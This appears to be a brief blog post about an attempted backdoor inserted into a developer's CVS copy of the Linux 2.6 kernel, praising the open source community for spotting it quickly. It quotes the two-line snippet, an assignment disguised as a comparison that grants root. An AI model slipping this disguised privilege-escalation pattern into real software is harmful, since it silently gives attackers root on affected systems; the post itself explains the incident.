A very sophisticated cracking attempt against the Linux 2.6 kernel was attempted yesterday. The attacker added two lines of code to a developer’s CVS code base:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

This little snippet of code would allow any program to become the root user, bypassing all security in the system.

If the cracked file made it back into the primary Linux tree, the backdoor might have gone unnoticed for months – maybe even long enough to make it into the release. If that happened, a sizable chunk of the servers on the Internet would be compromised – exposed and vulnerable to the world.

I’m really glad they caught this. It’s a testament to the open source model that this minuscule addition to the source was spotted so quickly. Rock on, Linus ‘n friends.

(Original link via Slashdot.)